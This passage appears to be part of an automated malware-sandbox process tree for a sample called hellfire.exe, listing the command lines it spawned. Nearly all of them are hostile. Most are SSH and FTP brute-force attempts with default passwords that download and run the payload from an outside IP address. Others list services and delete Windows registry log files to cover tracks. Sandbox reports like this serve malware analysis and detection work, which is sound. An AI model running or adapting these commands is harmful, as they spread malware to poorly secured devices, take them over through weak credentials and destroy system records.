  cmd /c echo y | plink -ssh [email protected] -pw root "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5180
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:436
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw password "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:3632
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw 123456 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2912
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw toor "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:2980
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5516
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw pass123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3440
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:684
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:576
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4876
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw qwerty "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5736
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw letmein "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5332
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw welcome "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5484
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw default "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5408
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw changeme "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5348
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw guest "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:3004
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5852
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:3180
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw password "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4532
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw 123456 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:696
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw toor "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:1736
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw admin123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:2676
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw pass123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4720
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw root123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5136
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:240
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw test123 "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:264
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw qwerty "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2844
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw letmein "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4528
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw welcome "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:6100
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw default "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:3348
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw changeme "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:5420
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo y | plink -ssh [email protected] -pw guest "wget -q http://31.13.190.2:62841/api/files/hellfire.exe/download -O /tmp/.hf && chmod +x /tmp/.hf && /tmp/.hf &" 2>nul
  2⤵
  PID:4308
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo root>>%TEMP%\f.txt&echo root>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:1472
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo root>>%TEMP%\f.txt&echo admin>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:1536
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo root>>%TEMP%\f.txt&echo password>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5984
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo root>>%TEMP%\f.txt&echo 123456>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:2420
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo root>>%TEMP%\f.txt&echo toor>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5704
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo root>>%TEMP%\f.txt&echo admin123>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:4996
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo root>>%TEMP%\f.txt&echo pass123>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2856
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo root>>%TEMP%\f.txt&echo root123>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:5152
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo root>>%TEMP%\f.txt&echo test>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:108
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo root>>%TEMP%\f.txt&echo test123>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:2284
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo root>>%TEMP%\f.txt&echo qwerty>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2984
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo root>>%TEMP%\f.txt&echo letmein>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:1260
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo root>>%TEMP%\f.txt&echo welcome>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:6152
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo root>>%TEMP%\f.txt&echo default>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6160
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo root>>%TEMP%\f.txt&echo changeme>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6168
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo root>>%TEMP%\f.txt&echo guest>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6180
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo admin>>%TEMP%\f.txt&echo root>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6188
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo admin>>%TEMP%\f.txt&echo admin>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6204
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo admin>>%TEMP%\f.txt&echo password>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6212
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo admin>>%TEMP%\f.txt&echo 123456>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:6220
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo admin>>%TEMP%\f.txt&echo toor>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6228
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo admin>>%TEMP%\f.txt&echo admin123>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6236
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo admin>>%TEMP%\f.txt&echo pass123>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6244
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo admin>>%TEMP%\f.txt&echo root123>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6260
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo admin>>%TEMP%\f.txt&echo test>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6268
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo admin>>%TEMP%\f.txt&echo test123>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6276
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo admin>>%TEMP%\f.txt&echo qwerty>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:6292
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo admin>>%TEMP%\f.txt&echo letmein>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6300
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo admin>>%TEMP%\f.txt&echo welcome>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6308
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo admin>>%TEMP%\f.txt&echo default>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:6316
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo admin>>%TEMP%\f.txt&echo changeme>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6324
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo admin>>%TEMP%\f.txt&echo guest>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6332
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo user>>%TEMP%\f.txt&echo root>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6340
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo user>>%TEMP%\f.txt&echo admin>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6348
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo user>>%TEMP%\f.txt&echo password>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:6356
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c sc query state= all > C:\Windows\Temp\svc_all.txt 2>nul
  2⤵
  PID:6372
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo user>>%TEMP%\f.txt&echo 123456>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6364
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo user>>%TEMP%\f.txt&echo toor>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:6380
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo user>>%TEMP%\f.txt&echo admin123>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6388
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo user>>%TEMP%\f.txt&echo pass123>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6396
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo user>>%TEMP%\f.txt&echo root123>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:6404
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo user>>%TEMP%\f.txt&echo test>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6412
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo user>>%TEMP%\f.txt&echo test123>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6420
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo user>>%TEMP%\f.txt&echo qwerty>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6428
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo user>>%TEMP%\f.txt&echo letmein>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:6444
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo user>>%TEMP%\f.txt&echo welcome>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6452
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo user>>%TEMP%\f.txt&echo default>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6460
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo user>>%TEMP%\f.txt&echo changeme>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6468
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo user>>%TEMP%\f.txt&echo guest>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6476
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo test>>%TEMP%\f.txt&echo root>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6492
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo test>>%TEMP%\f.txt&echo admin>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:6500
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo test>>%TEMP%\f.txt&echo password>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6508
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo test>>%TEMP%\f.txt&echo 123456>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6516
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c del /f /s /q C:\Windows\System32\config\*.log 2>nul
  2⤵
  PID:6528
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo test>>%TEMP%\f.txt&echo toor>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6536
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo test>>%TEMP%\f.txt&echo admin123>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6544
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo test>>%TEMP%\f.txt&echo pass123>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6552
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c del /f /s /q C:\Windows\System32\config\*.LOG 2>nul
  2⤵
  PID:6560
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c del /f /s /q C:\Windows\System32\config\*.jrs 2>nul
  2⤵
  PID:6568
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo test>>%TEMP%\f.txt&echo root123>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6576
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c del /f /s /q C:\Windows\System32\config\*.jtx 2>nul
  2⤵
  PID:6584
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo test>>%TEMP%\f.txt&echo test>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:6592
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c del /f /s /q C:\Windows\System32\config\*.sav 2>nul
  2⤵
  PID:6600
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo test>>%TEMP%\f.txt&echo test123>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6608
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo test>>%TEMP%\f.txt&echo qwerty>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
  PID:6616
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c echo open 192.168.1.1>%TEMP%\f.txt&echo test>>%TEMP%\f.txt&echo letmein>>%TEMP%\f.txt&echo get hellfire.exe>>%TEMP%\f.txt&echo bye>>%TEMP%\f.txt&ftp -s:%TEMP%\f.txt 2>nul
  2⤵
